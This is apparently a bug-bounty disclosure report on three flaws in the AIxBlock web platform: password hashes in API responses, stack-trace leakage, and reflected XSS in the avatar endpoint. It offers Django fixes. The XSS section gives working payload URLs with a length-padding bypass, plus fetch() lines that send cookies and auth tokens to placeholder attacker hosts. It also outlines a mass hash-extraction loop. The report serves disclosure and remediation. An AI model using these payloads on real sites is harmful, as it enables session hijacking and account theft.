Security: Sensitive Data Exposure & Improper Error Handling

[KaustubhOG]

🔐 Security Vulnerability Report

Executive Summary

Two security vulnerabilities have been identified that expose sensitive user data and system information. The password hash exposure vulnerability is rated HIGH severity due to potential for mass credential compromise if chained with authorization flaws.

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🚨 Vulnerability #1: Password Hash Exposure in API Response

Affected Endpoint

PATCH /api/users/{user_id}/ 

Severity Classification

Attribute	Details
Severity	HIGH ⚠️
CVSS v3.1	7.5
CWE	CWE-200 (Sensitive Information Exposure)
OWASP	A02:2021 – Cryptographic Failures

Vulnerability Description

The API endpoint returns the complete password hash (pbkdf2_sha256) in the JSON response when users update their profile information. Password hashes are cryptographic secrets that should never be transmitted to clients under any circumstances.

Technical Details

Request:

PATCH /api/users/123/ HTTP/1.1 Authorization: Bearer <token> Content-Type: application/json { "email": "user@example.com" }

Response (Vulnerable):

{ "id": 123, "email": "user@example.com", "password": "pbkdf2_sha256$260000$xxx...", ... }

Security Impact

Direct Impact:

• Password hashes exposed to authenticated users
• Offline brute-force attacks possible using GPU acceleration
• Weak passwords can be cracked within hours/days
• Compromised accounts lead to unauthorized access

Critical Chain Attack Scenario:

If an attacker discovers an Insecure Direct Object Reference (IDOR) vulnerability in this endpoint (where authorization checks are missing or insufficient), they could execute a mass extraction attack:

Step 1: Attacker authenticates with low-privilege account Step 2: Discovers user_id can be manipulated without authorization Step 3: Executes automated extraction: for user_id in range(1, 10000): response = PATCH /api/users/{user_id}/ extract password_hash from response store in database Step 4: Results in complete database of all user password hashes Step 5: Offline cracking of weak passwords (30-40% success rate typical) Step 6: Mass account compromise across the platform 

Proof of Concept

Figure 1: Password hash visible in API response (highlighted)

Recommended Fix

Immediate Action Required:

Remove the password field from the serializer response:

class UserSerializer(serializers.ModelSerializer): class Meta: model = User fields = ['id', 'email', 'username', 'first_name', 'last_name'] # Password field completely excluded

Additional Recommendations:

1. Audit all API endpoints for sensitive field exposure
2. Verify authorization controls on user endpoints (prevent IDOR)
3. Implement automated security testing in CI/CD pipeline

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🚨 Vulnerability #2: Stack Trace Exposure via Improper Input Validation

Affected Endpoint

GET /api/organizations/{org_id}/memberships?project_id={input} 

Severity Classification

Attribute	Details
Severity	MEDIUM
CVSS v3.1	5.3
CWE	CWE-209 (Information Exposure Through Error Message)
OWASP	A05:2021 – Security Misconfiguration

Vulnerability Description

The project_id query parameter lacks input validation. When malformed data is submitted, the application returns a complete stack trace containing sensitive system information.

Technical Details

Vulnerable Request:

GET /api/organizations/5/memberships?project_id=' HTTP/1.1

Response Leaks:

• Full Python stack traces
• Internal file paths (e.g., /app/backend/views.py)
• Framework versions (Django/DRF)
• Database ORM structure
• Third-party library details

Security Impact

• Information Disclosure: Reveals application architecture
• Reconnaissance Aid: Assists attackers in planning targeted exploits
• Technology Stack Exposure: Enables CVE-based attack strategies

Proof of Concept

Figure 2: HTTP 500 error exposing complete stack trace and file paths

Recommended Fix

Add Input Validation:

from rest_framework.exceptions import ValidationError def get_memberships(request, org_id): project_id_str = request.GET.get('project_id', '') try: project_id = int(project_id_str) if project_id <= 0: raise ValueError except (ValueError, TypeError): raise ValidationError({"project_id": "Must be a valid positive integer"}) # Continue with validated project_id

Additional Recommendation:
Verify your production deployment has DEBUG=False configured in settings.

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📊 Risk Summary

Finding	Severity	CVSS	Exploitability	Impact if Exploited
Password Hash Exposure	HIGH	7.5	Easy	Credential compromise
Stack Trace Leakage	MEDIUM	5.3	Easy	Information disclosure

Combined Risk Assessment

If both vulnerabilities are exploited together with an IDOR flaw, the overall severity escalates to CRITICAL (9.0+) due to potential for automated mass data extraction.

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🚨 Vulnerability #3: Reflected XSS in Avatar Image Endpoint

Affected Endpoint

GET /data/avatars/{filename} 

Severity Classification

Attribute	Details
Severity	HIGH-CRITICAL ⚠️🔥
CVSS v3.1	8.1
CWE	CWE-79 (Improper Neutralization of Input During Web Page Generation)
OWASP	A03:2021 – Injection

Vulnerability Description

The avatar image serving endpoint fails to properly validate and sanitize the filename parameter, allowing arbitrary HTML and JavaScript injection. Although the endpoint has length-based validation, this can be bypassed using padding techniques, enabling full XSS exploitation with severe security implications.

Technical Details

Vulnerable URL Pattern:

https://app.aixblock.io/data/avatars/rs%22aaaa...aaaa%3Cscript%3Ealert(document.cookie)%3C/script%3Eaaa%3Cc%3E%3C/script%3E%3E 

Decoded Payload:

/data/avatars/rs"aaaa...<script>alert(document.cookie)</script>aaa<c></script>>

Exploitation Constraints & Bypass:

Discovery Process: 1. Short payloads (< specific length): Returns 404 Not Found 2. Extremely long payloads: Returns 500 Internal Server Error 3. Bypass technique: Added padding using "aaaa..." repeated multiple times 4. Sweet spot identified: Medium-length payload reaches required threshold 5. Result: XSS payload executes successfully after bypass 

Attack Vector:

GET /data/avatars/malicious_payload HTTP/1.1 Host: app.aixblock.io

The server processes the payload without proper sanitization after length validation is bypassed, allowing embedded script tags to execute in the victim's browser with full session context.

Security Impact

Direct Impact:

• Session Hijacking: Complete theft of session tokens and cookies
• Credential Harvesting: Injection of fake login forms to steal passwords
• Account Takeover: Full control of victim accounts through stolen sessions
• Data Exfiltration: Access to private AI models, projects, and API keys
• Malware Distribution: Redirecting users to malicious sites

Critical Attack Scenario: Targeted High-Value Account Compromise

Step 1: Attacker crafts sophisticated payload with bypass: /data/avatars/pic%22aaaa[x100]%3Cscript%3E fetch('https://attacker.com/steal',{ method:'POST', body:JSON.stringify({ cookies:document.cookie, tokens:localStorage.getItem('authToken'), session:sessionStorage }) })%3C/script%3E Step 2: Social engineering targeting admins/premium users: - Professional email mimicking AIxBlock security team - "Urgent: Verify account activity - Click here" - URL uses legitimate app.aixblock.io domain (trusted) Step 3: Admin/user clicks → Payload executes: - All authentication credentials stolen instantly - API keys and tokens exfiltrated - Silent execution (no visible errors) Step 4: Attacker leverages stolen session: - Full administrative access if admin targeted - Access to all user projects and models - Can modify billing, export data, delete resources Result: Complete platform compromise through single click 

Proof of Concept

Working XSS Payload (with length bypass):

https://app.aixblock.io/data/avatars/rs%22aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%3Cscript%3Ealert(document.cookie)%3C/script%3Eaaaaaaaaaaaa%3Cc%3E%3C/script%3E%3E 

Exploitation Process:

1. Short payload → 404 error (validation blocks)
2. Long payload → 500 error (server fails)
3. Added "aaaa..." padding → Bypassed length validation
4. Injected <script> tag → XSS successfully executes

Advanced Session Theft Payload:

https://app.aixblock.io/data/avatars/profile%22aaaa[x100]%3Cscript%3E fetch('https://attacker-server.com/log?data='+btoa(document.cookie+':'+localStorage.getItem('token'))) %3C/script%3E

Recommended Fix

Immediate Action Required:

1. Implement Strict Input Validation:

import re from django.http import Http404 def serve_avatar(request, filename): # Whitelist validation: only allow safe characters if not re.match(r'^[a-zA-Z0-9_\-\.]+\.(jpg|jpeg|png|gif|webp)$', filename): raise Http404("Invalid filename") # Strict length check (prevent bypass attempts) if len(filename) < 5 or len(filename) > 100: raise Http404("Invalid filename length") # Sanitize path to prevent directory traversal safe_filename = os.path.basename(filename) file_path = os.path.join(AVATAR_DIRECTORY, safe_filename) # Verify file exists and is within avatar directory if not os.path.abspath(file_path).startswith(os.path.abspath(AVATAR_DIRECTORY)): raise Http404("Invalid path") return FileResponse(open(file_path, 'rb'))

2. Set Proper Content-Type Headers:

from django.http import FileResponse import mimetypes def serve_avatar(request, filename): # ... validation code ... response = FileResponse(open(file_path, 'rb')) # Force correct MIME type content_type, _ = mimetypes.guess_type(filename) if content_type: response['Content-Type'] = content_type # Prevent MIME sniffing response['X-Content-Type-Options'] = 'nosniff' # Additional XSS protection headers response['Content-Security-Policy'] = "default-src 'none'" response['X-Frame-Options'] = 'DENY' return response

📊 Risk Summary

Finding	Severity	CVSS	Exploitability	Impact if Exploited
Reflected XSS in Avatar Endpoint	HIGH-CRITICAL	8.1	Moderate	Session hijacking, credential theft, account takeover

Overall Severity: HIGH-CRITICAL (8.1) - The bypass requirement only moderately reduces exploitability while impact remains severe.

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📚 References

• [OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)
• [CWE-79: Improper Neutralization of Input During Web Page Generation](https://cwe.mitre.org/data/definitions/79.html)
• [CVSS v3.1 Specification](https://www.first.org/cvss/v3.1/specification-document)
• [OWASP API Security Top 10](https://owasp.org/www-project-api-security/)

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Submitted By: KaustubhOG
Contact: kaustubh.devlop@gmail.com
Date: December 22, 2025
Report Status: 🔴 Awaiting Triage